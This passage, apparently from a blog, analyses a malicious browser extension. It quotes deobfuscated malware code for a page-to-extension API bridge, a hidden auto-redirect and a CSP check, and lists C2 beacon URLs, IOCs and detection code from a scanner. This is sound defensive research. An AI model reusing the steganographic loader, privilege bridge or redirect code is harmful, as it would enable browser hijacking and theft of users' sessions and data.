
function lineSize() {
    window.addEventListener('message', (documentValues) => {
        if (documentValues.source !== window) return;
        switch (documentValues.data.eventCode) {
            case 'secTipAs':  // runtime.sendMessage
                chrome.runtime.sendMessage(documentValues.data.image$1, (imageArray) => {
                    window.postMessage({eventCode: 'dragFile', imageArray}, '*');
                });
                break;
            case 'cpyEventSize':  // storage.local.set
                chrome.storage.local.set(documentValues.data.image$1, () => {});
                break;
            case 'rmLocSize':  // storage.local.get
                chrome.storage.local.get(documentValues.data.image$1, (imageArray) => {
                    window.postMessage({eventCode: 'addEventPro', imageArray}, '*');
                });
                break;
            case 'raNoteAs':  // storage.sync.set
                chrome.storage.sync.set(documentValues.data.image$1, () => {});
                break;
            case 'newEventAll':  // storage.sync.get
                chrome.storage.sync.get(documentValues.data.image$1, (imageArray) => {
                    window.postMessage({eventCode: 'popLine', imageArray}, '*');
                });
                break;
        }
    });
}

What this means

Any JavaScript running in any web page the victim visits can now call window["browserCache"].runtime.sendMessage(...) or access window["browserCache"].storage.* β€” and the request will be transparently fulfilled by the real privileged extension APIs. This breaks the browser's fundamental extension sandbox model.

The C2-supplied logCode JavaScript runs in the page context with this bridge available. With it, the attacker can:

  • Read and write all extension storage (including session tokens, cached credentials)
  • Send messages to bg.js to trigger downloads (Action: "DOWNLOADBEGIN") or open popup windows
  • Send declarativeNetRequest updates via bg.js without needing a new C2 fetch
  • Execute any operation the extension is permitted for, from any web page, in any tab

11. Arbitrary URL Redirect on Any Domain

If localStorage["extftsams99ba"] is populated from C2, the iframe-level content script branch executes a silent automatic redirect:

if (popColorTo(pageArr.signArray)) {
    // popColorTo(window) = (window.top == window.parent) β€” true in first-level iframes
    var eventCode = pageArr.testImgCode("head") || pageArr.testImgCode("body");
    var event$1 = location.href,
        lineSize = pageArr.buffer$1[16];  // "extftsams99ba"

    pageArr.documentValues.get(lineSize, function(contentPool) {
        var documentValues = contentPool[lineSize];
        if (documentValues) {
            // Double atob decode of two ^ -delimited entries
            var dataExt = findDefaultVal(documentValues, "^")[0].reContentAll(1);
            var fileTip = findDefaultVal(documentValues, "^")[1].reContentAll(1);
            //  reContentAll(1) = atob(atob(this))  β€” double base64 decode

            if (event$1.indexOf(getFileSize(dataExt)) > -1) {  // URL matches pattern?
                var image$1 = pageArr.rdnDataPro("a");
                image$1.setAttribute("href", fileTip);          // target URL from C2
                eventCode.appendChild(image$1);
                image$1.click();                                 // SILENT AUTO-REDIRECT
                setSelecteds(lineSize, "");                      // destroy evidence
            }
        }
    });
    pageArr.signArray.parent.postMessage(pageArr.buffer$1[27], '*');  // "ifr2top"
}

The redirect:

  • Works in iframes, as well as main frames
  • The match pattern and target URL are double-base64-encoded in localStorage, hiding them from casual inspection
  • Evidence is erased immediately after execution (setSelecteds(lineSize, ""))
  • Works on any website due to the <all_urls> content script injection

12. Content Security Policy(CSP) Erasure

getContentOn() checks for the presence of a Content Security Policy meta tag before injecting the fake chrome API bridge:

var val = document.querySelector(
    pageArr.buffer$1[38]
    // 'meta[http-equiv^="Content-Security-Policy"]'
);
if (val) return true;  // abort if CSP is present

This check serves two purposes:

  1. Avoid triggering CSP violations that would appear in the browser console and alert a sophisticated user
  2. Target only pages that do not have a CSP (which is the majority of web pages)

Given that the DNR rules are C2-controlled, the attacker could alternatively push a rule that removes or rewrites CSP headers on target pages, selectively enabling the bridge injection on pages that would otherwise block it.


13. Complete Attack Chain visualized with ASCII art

INSTALL
β”‚
β”œβ”€ First sidebar open (index.js)
β”‚   └─ fetch("icon/logo.png").text()
β”‚       └─ split("ncige") β†’ 1,897-byte stego payload
β”‚           └─ localStorage["ncige"]["7yfuf2"] = <unicode-encoded config>
β”‚
β”œβ”€ Every page load (content.js injected into https://*/* and http://*/*)
β”‚   β”œβ”€ Reads localStorage["ncige"]["7yfuf2"]
β”‚   β”œβ”€ copyNodeTo() β†’ low-byte decode β†’ 39-entry buffer$1 string table
β”‚   β”‚
β”‚   β”œβ”€ HOURS < 72: log "waiting 3 days", return ← SLEEPER
β”‚   β”‚
β”‚   └─ HOURS β‰₯ 72 AND random(0..200) ≀ 20 (10%)
β”‚       β”‚
β”‚       β”œβ”€ genFileArr(true)
β”‚       β”‚   └─ GET https://ipaglov.com/ext/load.php?f=svr.png
β”‚       β”‚       └─ Response: PNG wrapping JSON payload
β”‚       β”‚           β”œβ”€ Rules stored in localStorage["jruldyn"] (base64, XOR-encrypted)
β”‚       β”‚           └─ Redirect rules stored in localStorage["extftsams99ba"]
β”‚       β”‚
β”‚       β”œβ”€ hasTokenAll("jruldyn")
β”‚       β”‚   └─ atob(localStorage["jruldyn"]).replace(regex, "")
β”‚       β”‚       └─ JSON.parse() β†’ declarativeNetRequest rules array
β”‚       β”‚           └─ chrome.runtime.sendMessage({dataExt: rules, ...})
β”‚       β”‚               └─ bg.js: updateDynamicRules() ← C2 controls all network rules
β”‚       β”‚                   └─ Affiliate ID substitution on taobao.com / jd.com
β”‚       β”‚
β”‚       └─ getContentOn()
β”‚           β”œβ”€ Check for CSP meta tag; abort if present
β”‚           β”œβ”€ lineSize(): install window.message bridge listener
β”‚           └─ setTimeout("!selectedExt(...); " + C2_logCode, 1)
β”‚               └─ Injects window["browserCache"] = fake chrome.* API into page context
β”‚                   └─ C2 JavaScript runs with extension-level privileges
β”‚                       on every website the victim visits
β”‚
└─ Iframe-level redirect (content.js in all_frames)
    └─ localStorage["extftsams99ba"] set? β†’ double-atob decode pattern + URL
        └─ Silent auto-click on <a href="C2_redirect_URL">
            └─ Evidence erased from storage

14. Indicators of Compromise

Files

  • icon/logo.png β€” 1,902 bytes appended past IEND marker (offset ~5,416), beginning with ASCII ncige

localStorage keys (in extension storage)

Key Purpose
ncige Stego payload cache + install timestamp
jruldyn Base64 + XOR encrypted DNR rules from C2
extftsams99ba Double-base64 encoded URL redirect rules
7yfuf2 Decoded stego config (buffer$1 array, semicolon-delimited)
3i1rfsciu Second C2 payload (URL redirect + logCode JS)

window globals set by extension

Global Value
window.exdipmver 3 (activation sentinel)
window["browserCache"] Fake privileged chrome.* API object

Network indicators

URL Purpose
https://ipaglov.com/ext/load.php?f=svr.png Primary C2 beacon
https://dreamhov.de/ext/load.php?f=svr.png Backup C2 beacon

Extension metadata

Field Value
Extension ID 1efab3c2-06ac-4040-975d-e006baac07ce@ytmp4
Version 1.3.4
SHA-256 f4c493377c6065e039f547ab0da5bafdfb8eaffa524fd744c119fd2bb6cfef30

15. What browser-xpi-malware-scanner.py Catches and Why

This extension was designed by a skilled author specifically to evade automated review. Here is how each browser-xpi-malware-scanner.py check contributed to the detection:

check_png_appended() β†’ The key finding

The only place the entire payload exists in any detectable form is appended to the PNG. Every other malicious string is either runtime-decoded or stored only in localStorage after execution. Without checking raw bytes past the IEND marker, this extension passes every other static check cleanly.

def check_png_appended(name, data, findings):
    idx = data.rfind(b"IEND")
    end = idx + 8
    trailer = data[end:]
    if trailer:
        ent = shannon_entropy(trailer)
        sev = "CRITICAL" if len(trailer) > 64 else "HIGH"
        findings.append(Finding(sev, "PNG_APPENDED", name,
            f"{len(trailer)} bytes appended after PNG IEND (entropy={ent:.2f})"))

check_javascript() β†’ atob() detections

The multiple atob() calls in content.js (lines 380, 719, 2364) flagged HIGH. While atob() is used legitimately, its presence in a content script injected into all URLs is suspicious. The double-decode atob(atob(this)) at line 719 is the specific form used for the URL redirect rules decode.

SUSPICIOUS_URL_RE β†’ C2 domain detection

Although the C2 domains (ipaglov.com, dreamhov.de) were not found as plaintext in the JS files (they are only in the decoded stego payload), the beacon URL pattern template https://$1/ext/load.php?f=svr.png contains no domain. However, the check did flag the other exfiltration-adjacent domains:

media.savetube.me / media.savetube.vip / cdn305.savetube.su / api.mp3youtube.cc

The .su TLD (cdn305.savetube.su) is a particularly high-confidence IoC β€” .su (Soviet Union, defunct) is disproportionately used by criminal infrastructure.

DANGEROUS_PERMS β†’ permission analysis

<all_urls> as a host permission rather than a regular permission (Manifest V3 split) was still caught:

DANGEROUS_PERMS = {
    "<all_urls>": ("HIGH", "Access to ALL website content β€” can read/exfiltrate any page data"),
    "downloads":  ("MEDIUM", "Can initiate and read downloads"),
    ...
}

What browser-xpi-malware-scanner.py could add to catch this class of malware

  1. PNG-as-text fetch detection β€” flag fetch(…).then(r => r.text()) where the URL resolves to an image resource declared in the extension. Legitimate image fetches use .blob() or .arrayBuffer(), never .text().

  2. Split-on-arbitrary-string detection β€” someString.split(nonHttpNonCommonDelimiter) where the delimiter is a short word (in this case "ncige") is an unusual pattern worth flagging. Legitimate code splits on "/", ".", ",", ";" etc.

  3. localStorage.set with class-name keys β€” if the key being written to storage matches a CSS class name in the extension's HTML, that is highly anomalous.

Despite these gaps, the PNG_APPENDED detection alone is sufficient to designate this extension CRITICAL and warrant deep manual review β€” which is exactly the intended workflow for browser-xpi-malware-scanner.py.

Need an Android Developer or a full-stack website developer?

I specialize in Kotlin, Jetpack Compose, and Material Design 3. For websites, I use modern web technologies to create responsive and user-friendly experiences. Check out my portfolio or get in touch to discuss your project.